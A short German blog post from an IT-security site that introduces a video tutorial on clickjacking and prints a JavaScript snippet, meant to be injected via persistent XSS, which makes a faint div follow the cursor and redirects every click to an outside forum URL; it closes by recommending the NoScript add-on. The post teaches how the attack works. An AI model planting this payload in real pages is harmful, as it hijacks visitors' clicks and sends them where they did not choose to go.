Gehaxelts Blog

IT-Security & Hacking

[V-TuT] Clickjacking

Man möchte auf einen Button drücken, aber statt dessen wird man auf eine andere Seite weitergeleitet? - Das könnte eine typische Clickjacking-Falle gewesen sein.

Wie ein solcher Angriff funktioniert und wie man sich dagegen schützen kann, zeige ich auf dem folgendem Video.

Javascript-Code, welcher z.B. über eine persistente XSS ausgeführt werden könnte.

window.addEventListener('load', function(ev){createFollower();},true);
function follow(eventopt)
{
    if (!eventopt) eventopt = window.event;
    div= document.getElementById("Follower");
    div.setAttribute("style","position:absolute;top:"+(eventopt.clientY+window.scrollY-10)+"px;left:"+(eventopt.clientX+window.scrollX-10)+"px;opacity:0.1;background-color:#000;width:150px;height:150px;");
    eventopt.preventDefault();
}
function createFollower()
{

    div=document.createElement("div");
    div.setAttribute("id","Follower");
    div.setAttribute("style","top:0px;left:0px;opacity:0.1;background-color:#000;width:5px;height:5px;z-index:");
    div.addEventListener('click', function(){document.location.href="http://forum.mbitme.de"},true);
    document.getElementsByTagName("body")[0].appendChild(div);
    startFollowing()
}

function startFollowing()
{
    window.addEventListener('mouseover', function(ev){follow(ev);},true);
}

Schutzmöglichkeiten:

Optimale Kontrolle über die kontrollierte Ausführung von Javascripten bietet das Add-on “NoScript”, welches es für mehrere Browser gibt.

Gruß

gehaxelt

Videotutorials

« Wunderwerk .htaccess Gehaxelt.in über SSL erreichbar »